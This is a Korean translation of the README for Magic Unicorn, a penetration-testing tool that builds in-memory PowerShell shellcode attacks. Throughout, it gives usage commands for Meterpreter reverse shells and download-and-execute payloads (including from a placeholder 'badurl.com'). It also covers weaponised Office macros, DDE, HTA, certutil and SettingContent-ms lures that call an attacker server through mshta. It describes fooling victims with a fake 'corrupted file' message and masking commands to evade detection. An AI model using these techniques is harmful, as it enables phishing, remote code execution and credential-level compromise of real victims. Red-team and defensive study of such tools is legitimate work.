
Unicorn은 PowerShell 다운그레이드 공격을 사용하여 메모리에 직접 셸코드를 주입하는 간단한 도구입니다. Matthew Graeber의 PowerShell 공격과 David Kennedy(TrustedSec)와 Josh Kelly가 Defcon 18에서 발표한 PowerShell 우회 기술을 기반으로 합니다.
작성자: Dave Kennedy (@HackingDave) 웹사이트: https://www.trustedsec.com
Magic Unicorn은 PowerShell 다운그레이드 공격을 사용하고 셸코드를 메모리에 직접 주입하는 간단한 도구입니다. Matthew Graeber의 PowerShell 공격과 David Kennedy(TrustedSec) 및 Josh Kelly가 Defcon 18에서 발표한 PowerShell 우회 기술을 기반으로 합니다.
사용법은 간단합니다. Magic Unicorn을 실행하기만 하면 됩니다(Metasploit 방법을 사용할 경우 Metasploit이 설치되어 있고 올바른 경로에 있는지 확인). 그러면 Magic Unicorn이 자동으로 PowerShell 명령을 생성하며, 이 PowerShell 코드를 명령줄 창이나 페이로드 전달 시스템을 통해 복사하여 붙여넣기만 하면 됩니다. Unicorn은 자체 셸코드, Cobalt Strike, Metasploit을 지원합니다.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
모든 Windows 플랫폼에서 네이티브 x86 PowerShell 인젝션 공격.
작성자: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
트위터: @TrustedSec, @HackingDave
크레딧: Matthew Graeber, Justin Elze, Chris Gates
행복한 Magic Unicorns 되세요.
사용법: python unicorn.py payload reverse_ipaddr port <선택사항 hta 또는 macro, crt>
PS 예시: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS 다운로드/실행: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
매크로 예시: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
매크로 예시 CS: python unicorn.py <cobalt_strike_file.cs> cs macro
매크로 예시 셸코드: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA 예시: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA 예시 CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA 예시 셸코드: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE 예시: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT 예시: python unicorn.py <path_to_payload/exe_encode> crt
사용자 지정 PS1 예시: python unicorn.py <path to ps1 file>
사용자 지정 PS1 예시: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike 예시: python unicorn.py <cobalt_strike_file.cs> cs (C# 형식으로 CS 내보내기)
사용자 지정 셸코드: python unicorn.py <path_to_shellcode.txt> shellcode (0x00 형식)
도움말 메뉴: python unicorn.py --help
이제 모든 내용이 powershell_attack.txt와 unicorn.rc 두 파일로 생성됩니다. 텍스트 파일에는 PowerShell 공격을 메모리에 주입하는 데 필요한 모든 코드가 포함되어 있습니다. 어떤 형태로든 원격 명령 주입을 지원하는 장소가 필요합니다. 이는 종종 Excel/Word 문서, Metasploit 내의 psexec_commands, SQLi 등을 통해 이루어질 수 있습니다. 이 공격을 사용할 수 있는 시나리오는 매우 다양합니다. powershell_attack.txt 명령을 명령 프롬프트 창이나 powershell 실행 파일을 호출할 수 있는 모든 곳에 붙여넣기만 하면 셸이 반환됩니다. 이 공격은 Meterpreter 페이로드 대신 windows/download_exec 페이로드 방식도 지원합니다. 다운로드 및 실행을 사용할 경우, 간단히 python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe를 입력하면 PowerShell 코드가 페이로드를 다운로드하여 실행합니다.
공격을 캡처하려면 리스너를 활성화해야 합니다.
매크로 공격을 위해서는 파일, 속성, 리본으로 이동하여 개발자 도구를 선택해야 합니다. 그렇게 하면 개발자 탭이 나타납니다. 새 매크로를 만들고 Auto_Open이라고 이름을 지정한 후 생성된 코드를 붙여넣으세요. 이렇게 하면 자동으로 실행됩니다. 참고로, 파일이 손상되었다는 메시지가 사용자에게 표시되고 Excel 문서가 자동으로 닫힙니다. 이것은 정상적인 동작입니다! 이는 피해자가 Excel 문서가 손상되었다고 착각하도록 속이는 것입니다. 그 후 PowerShell 인젝션을 통해 셸을 얻을 수 있습니다.
Office365/2016+ 버전의 Word에 대해 배포하는 경우 출력의 첫 번째 줄을 다음에서 변경해야 합니다: Sub Auto_Open()
다음으로: Sub AutoOpen()
매크로 자체의 이름도 레거시命名 스킴인 "Auto_Open" 대신 "AutoOpen"이어야 합니다.
참고: EXCEL을 복사하여 붙여넣을 때 추가 공백이 생기면 변수 "x" 아래의 각 POWERSHELL 코드 섹션 뒤에 있는 공백을 제거해야 합니다. 그렇지 않으면 구문 오류가 발생합니다!
HTA 공격은 자동으로 두 개의 파일을 생성합니다. 첫 번째는 브라우저가 Launcher.hta를 사용하도록 지시하는 index.html이고, 두 번째는 악성 PowerShell 인젝션 코드를 포함하는 Launcher.hta입니다. 모든 파일은 hta_access/ 폴더로 내보내지며 세 개의 주요 파일이 있습니다. 첫 번째는 index.html, 두 번째는 Launcher.hta, 마지막은 unicorn.rc 파일입니다. msfconsole -r unicorn.rc를 실행하여 Metasploit 리스너를 시작할 수 있습니다.
HTA 공격이 제대로 작동하려면 사용자가 허용 및 수락을 클릭해야 합니다.
certutil 공격 벡터는 Matthew Graeber(@mattifestation)에 의해 발견되었으며, 이진 파일을 base64 형식으로 변환한 후 피해자 머신에서 certutil을 사용하여 다시 이진 파일로 변환할 수 있게 해줍니다. 이 방법은 사실상 모든 시스템에서 작동하며, 가짜 인증서 파일을 통해 피해자 머신에 이진 파일을 전송할 수 있습니다. 이 공격을 사용하려면 unicorn 경로에 실행 파일을 두고 python unicorn.py <exe_name> crt를 실행하여 base64 출력을 얻으세요. 완료되면 decode_attack/ 폴더로 이동하여 파일을 확인하세요. bat 파일은 Windows 머신에서 실행하여 다시 이진 파일로 변환하는 명령입니다.
이 공격 방법을 사용하면 모든 PowerShell 파일(.ps1)을 인코딩된 명령이나 매크로로 변환할 수 있습니다.
매크로 옵션을 선택하는 경우, 큰 ps1 파일은 VBA에서 허용되는 캐리지 리턴 수를 초과할 수 있습니다. 매개변수로 정수를 전달하여 각 VBA 문자열의 문자 수를 변경할 수 있습니다.
예시:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
마지막 예시는 기본값 380 대신 500자 문자열을 사용하여 VBA의 캐리지 리턴 수를 줄입니다.
이 공격 벡터는 Word 또는 Excel에 배치할 DDEAUTO 수식을 생성합니다. COM 개체 DDEInitilize 및 DDEExecute를 사용하면 Office 내에서 직접 수식을 생성할 수 있으며, 이를 통해 매크로 없이 원격 코드 실행이 가능합니다. 이 공격은 다음에서 문서화되었으며 전체 지침은 다음에서 확인할 수 있습니다:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
이 공격을 사용하려면 다음 예시를 실행하세요:
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
생성되면 powershell_attack.txt(Office 코드 포함)와 unicorn.rc 파일(리스너 구성 요소, msfconsole -r unicorn.rc로 호출 가능)이 생성됩니다. 또한 download.ps1도 내보내집니다(자세한 내용은 후반부 참조).
페이로드를 적용하는 방법의 예시(sensepost 기사 기준):
Office 문서가 열리면 PowerShell 인젝션을 통해 셸을 받을 수 있습니다. 참고로 DDE는 문자 크기에 제한이 있으므로 다운로드 방법으로 Invoke-Expression (IEX)을 사용해야 합니다.
DDE 공격은 크기 제한 때문에 다운로드 방법으로 download.ps1(우리의 PowerShell 인젝션 공격)을 다운로드하려고 시도합니다. 피해자 머신이 접근할 수 있는 위치에 download.ps1을 배치해야 합니다. 즉, 접근 가능한 Apache2 디렉토리에 download.ps1을 호스팅해야 합니다.
일부 명령어에서 "{ QUOTE"가 사용되는 것을 볼 수 있습니다. 이는 특정 명령어를 마스킹하는 방법으로, 다음 문서에 설명되어 있습니다: http://staaldraad.github.io/2017/10/23/msword-field-codes/. 이 경우 WindowsPowerShell, powershell.exe 및 IEX를 변경하여 탐지를 피합니다. 또한 DDE를 전혀 호출하지 않는 훌륭한 방법이 있는 URL도 확인하세요.
이 방법은 Cobalt Strike에서 직접 Cobalt Strike Beacon 셸코드를 가져옵니다.
Cobalt Strike 내에서 Cobalt Strike "CS"(C#) 내보내기를 수행하고 파일로 저장합니다. 예를 들어 파일 이름을 cobalt_strike_file.cs로 지정합니다.
내보내기 코드는 다음과 같습니다:
사용법:
python unicorn.py cobalt_strike_file.cs cs
cs 인수는 Unicorn에게 Cobalt Strike 기능을 사용하려고 함을 알립니다. 나머지는 Magic입니다.
그런 다음 PowerShell 명령을 복사하여 원격 명령 실행이 가능한 곳에 붙여넣습니다.
참고: 파일은 Cobalt Strike 내에서 C# (CS) 형식으로 내보내야 올바르게 파싱됩니다.
이 공격에는 몇 가지 주의 사항이 있습니다. 페이로드 크기가 14k 이상이 될 수 있습니다. 즉, 명령줄 인수 측면에서 복사하여 붙여넣을 경우 8191자 크기 제한(cmd.exe에 하드코딩됨)에 도달할 수 있습니다. cmd.exe에서 직접 실행하는 경우 문제가 되지만, PowerShell이나 다른 일반 응용 프로그램에서 직접 실행하는 경우 문제가 되지 않습니다.
몇 가지 예시: wscript.shell과 powershell은 USHORT - 65535 / 2 = 32767 크기 제한을 사용합니다.
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
이 공격의 경우 PowerShell, VBSCript (WSCRIPT.SHELL)에서 직접 실행하는 경우 문제가 없습니다.
이 방법을 사용하면 Unicorn 공격에 자체 셸코드를 삽입할 수 있습니다. PowerShell 코드는 powershell.exe의 스택 크기를 증가시키고(VirtualAlloc을 통해) 메모리에 주입합니다.
이 방법이 작동하려면 Unicorn이 가리키는 txt 파일이 다음 형식이어야 합니다. 그렇지 않으면 작동하지 않습니다:
0x00,0x00,0x00 등.
또한 크기 제한이 있습니다. PowerShell 명령의 총 길이는 8191을 초과할 수 없습니다. 이는 Windows에서 명령줄 인수 크기의 최대 제한입니다.
사용법:
python unicorn.py shellcode_formatted_properly.txt shellcode
그런 다음 PowerShell 명령을 복사하여 원격 명령 실행이 가능한 곳에 붙여넣습니다.
참고: 파일은 0x00,0x00,0x00 형식으로 올바르게 포맷되어야 하며, 셸코드 외에 다른 내용이 없어야 합니다.
이 공격에는 몇 가지 주의 사항이 있습니다. 페이로드 크기가 크면 cmd.exe에 맞지 않을 수 있습니다. 즉, 명령줄 인수 측면에서 복사하여 붙여넣을 경우 8191자 크기 제한(cmd.exe에 하드코딩됨)에 도달할 수 있습니다. cmd.exe에서 직접 실행하는 경우 문제가 되지만, PowerShell이나 다른 일반 응용 프로그램에서 직접 실행하는 경우 문제가 되지 않습니다.
몇 가지 예시: wscript.shell과 powershell은 USHORT - 65535 / 2 = 32767 크기 제한을 사용합니다.
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
이 공격의 경우 PowerShell, VBSCript (WSCRIPT.SHELL)에서 직접 실행하는 경우 문제가 없습니다.
먼저, 시간이 있다면 Matt Nelson(enigma0x3)의 멋진 SpectreOps 블로그를 방문하세요:
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
이 방법은 ".SettingContent-ms"라는 특정 파일 형식을 사용하며, 브라우저에서 직접 로드(열기 + 명령 실행)와 Office 제품에 포함을 통한 확장 유형 모두를 지원합니다. 여기서는 Unicorn의 PowerShell 공격 벡터 내에서 명령 실행을 위한 확장 유형 설정에 초점을 맞춥니다.
이 공격 벡터에서 지원하는 여러 방법이 있습니다. 이 공격의 문자 크기 제한 때문에 배포 방법은 HTA입니다.
이 공격을 무기화하는 방법에 대한 자세한 내용은 다음을 방문하세요:
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
이 공격을 완료하려면 독립 실행형 또는 hta에서 .SettingContent-ms 파일을 생성해야 합니다. HTA 방법은 Metasploit, Cobalt Strike 및 직접 셸코드 공격을 지원합니다.
다음은 사용법에 대한 네 가지 방법입니다:
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA 예시 SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA 예시 SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
.SettingsContent-ms 생성: python unicorn.py ms
첫 번째는 Metasploit 페이로드, 두 번째는 Cobalt Strike, 세 번째는 자체 셸코드, 네 번째는 빈 .SettingContent-ms 파일입니다.
모든 것이 생성되면 Standalone_NoASR.SettingContent-ms 파일이 기본 Unicorn 루트 디렉토리(독립 실행형 파일 생성의 경우) 또는 hta_attack/ 폴더 아래에 내보내집니다. Standalone_NoASR.SettingContent-ms 파일을 편집하여 다음을 바꿔야 합니다:
REPLACECOOLSTUFFHERE
을 다음으로:
mshta http://<apache_server_ip_or_dns_name/Launcher.hta.
그런 다음 hta_attack의 내용을 /var/www/html로 이동합니다.
피해자가 .SettingContent-ms 파일을 클릭하면 mshta가 피해자 머신에서 호출되고 Unicorn HTA 파일을 다운로드하여 코드 실행이 가능해집니다.
Matt Nelson의 훌륭한 연구에 특별 감사와 찬사를 보냅니다.
또한 다음을 확인하세요: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
사용법:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms